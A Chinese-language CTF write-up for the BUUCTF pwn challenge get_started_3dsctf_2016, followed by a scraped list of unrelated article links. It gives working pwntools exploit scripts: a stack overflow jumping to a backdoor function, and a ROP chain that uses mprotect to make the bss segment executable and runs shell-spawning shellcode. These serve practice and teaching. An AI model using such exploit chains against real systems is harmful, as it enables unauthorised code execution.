BUU get_started_3dsctf_2016
先checksec一下

32位程序,没开PIE,再观察一下主函数

gets函数有可能是栈溢出,再观察一下后门函数

方法一:
考虑栈溢出后直接跳转到if判断后面的语句,进而跳过if条件判断
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",25895)
offset = 0x38+8
addr = 0x080489B8
payload = b'a'*offset
p.sendline(payload)
p.interactive()
但是这样并不能打通,原因是,打远程时,如果程序异常退出,是不会给你回显flag的,所以我们必须指明一个返回地址,可以这样构造:a*offset+后门函数+返回地址+函数参数
返回地址利用c语言自带的exit的地址

exp:
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",26281)
addr=0x080489A0
offset = 56
payload = b'A'*offset+p32(addr)+p32(0x0804E6A0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
print(p.recv())
p.interactive()
有个很玄学的东西,我的offset写成16进制就打不通,换成十进制就打通了
方法二:
利用mprotect更改bss段权限
mprotect函数是这样定义的:
int mprotect(const void *start, size_t len, int prot);
- start是需要进行操作的地址
- len是从地址往后多长的长度
- prot是要对这段赋予的权限
prot=0x7是可读可写可执行
start起始地址也有要求,要求是4k的整数倍,后三位要为000
CTRL+S查看程序的段表

因此start = 0x080EB000
我们需要设置mprotect的三个参数,需要三个寄存器,用ROPgadget查一下
from pwn import *
# p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn", 26281)
mprotect = 0x0806EC80
mem_addr = 0x080EB000
len = 0x100
ret = 0x0809e4c5 #esi ebx edx
read_addr = 0x0806E140
offset = 56 #不用+4
payload = b'A' * offset + p32(mprotect) # 溢出跳转到mprotect
payload += p32(ret) # 寄存器
payload += p32(mem_addr) # 第一个参数start
payload += p32(0x1000) # 第二个参数len
payload += p32(0x7) # 第三个参数prot
payload += p32(read_addr) # 调用read
payload += p32(ret) # 寄存器
payload += p32(0) # fd
payload += p32(mem_addr) # 需要读的地址
payload += p32(len) # 读的长度
payload += p32(mem_addr) # 返回到更改完rwx的bss段
p.sendline(payload)
shellcode = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(shellcode) # 对bss段执行shellcode
p.interactive()
成功拿到flag
BUU get_started_3dsctf_2016的更多相关文章
- Buu刷题
前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...
- BUU刷题01
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...
- get_started_3dsctf_2016
题外:这道题不是很难,但是却难住了我很久.主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能 ...
- buu学习记录(上)
前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...
- get_started_3dsctf_2016 1
拿到题目,依旧还是老样子,查看程序开启的保护和位数 可以看到程序开启了nx保护是32位程序,于是我们把程序放入ida32编译一下 一打开就能看到非常明显的get_flag这个程序,f5观察伪代码 当a ...
- [BUUCTF]PWN11——get_started_3dsctf_2016
[BUUCTF]PWN11--get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: ...
- BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2
BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...
- BUU [GKCTF 2021]签到
BUU [GKCTF 2021]签到 1.题目概述 2.解题过程 追踪HTTP流 在下面发现了一串可疑字符 Base16转base64 放到010里看看 复制下来,去转字符 好像不是,再回去找找其他的 ...
- Buuctf | BUU LFI COURSE 1
跟着赵师傅学CTF,这里是我的学习记录 ?file=/flag ?file=/var/log/nginx/access.log :包含ngnix的日志记录 在user-agent里面插入 :bbbbb ...
- buu Crypto 刷题记录
1.MD5 直接解. 2.url编码 直接解. 3.一眼就解密 base64. 4.看我回旋踢 对文本内容全部CaesarDecode. 5.摩丝 直接MorseDecode. 6.Quoted-pr ...
随机推荐
- Flutter 2.8 正式发布
文/ Tim Sneath,Flutter & Dart 产品经理 Flutter 已经更新到 2.8 正式版,发布了多项新特性和改进以不断改善移动和 Web 端的开发体验,同时也正在将桌面端 ...
- 音视频入门-5-音频编码原理、编码器、ADTS格式
1. 概念 音频压缩技术指的是对原始数字音频信号流(PCM编码)运用的数字信号处理技术. 2. 背景 和 压缩的必要性 研究发现,直接采用PCM码流进行存储和传输存在非常大的冗余度. 以CD为例,其 ...
- [TK] Terrible Prime
题目链接 T415418 这道题严格的时间限制比较令人头疼,似乎需要一些高级的算法,但实际上是,想要用点基础知识通过这道题需要两种算法:费马小定理 (见下函数Miller_rabin) 用于subta ...
- 10-04 NOIP模拟赛
10-04 NOIP模拟赛 喜提80+30+10=120分 T1 水管(flow) 题目描述 某国有 \(n\) 个城市,水利调配非常有问题,这导致部分地区出现严重的缺水,而部分地区却全年洪灾泛滥.政 ...
- 【赵渝强老师】什么是Spark SQL?
一.Spark SQL简介 Spark SQL是Spark用来处理结构化数据的一个模块,它提供了一个编程抽象叫做DataFrame并且作为分布式SQL查询引擎的作用. 为什么要学习Spark SQL? ...
- 树莓派2 CentOS7.9 安装配置笔记
1. 镜像下载与安装 http://isoredirect.centos.org/altarch/7/isos/armhfp/找到https://mirrors.tuna.tsinghua.edu.c ...
- 2. 说一下vue2和vue3的区别 ?
1. vue3 使用 proxy 替换Object.defineProperty 实现数据响应式 ,所以vue3 的性能得到了提升 : 2. vue3 使用组合式 API 替代了 vue2 中的选项式 ...
- PHP的json浮点精度难题
前言 之前开发的接口需要用到json加签,有一次对接JAVA时,签名怎么都过不了,仔细对比了字符串,发现是PHP进行json_encode时,会将浮点型所有无意义的0给去掉(echo和var_dump ...
- mysql 查询两个日期之间所有天数(查询近两个月所有日期)
本文转自博文:https://blog.csdn.net/qq_42795259/article/details/126722209 遇到一个需求需要查询近两个月所有日期,如下图: 首先实现解决问题如 ...
- games101_Homework5
使用光线追踪来渲染图像,实现两个部分:光线的生成和光线与三角的求交 你需要修改的函数是: • Renderer.cpp 中的 Render():这里你需要为每个像素生成一条对应的光 线,然后调用函数 ...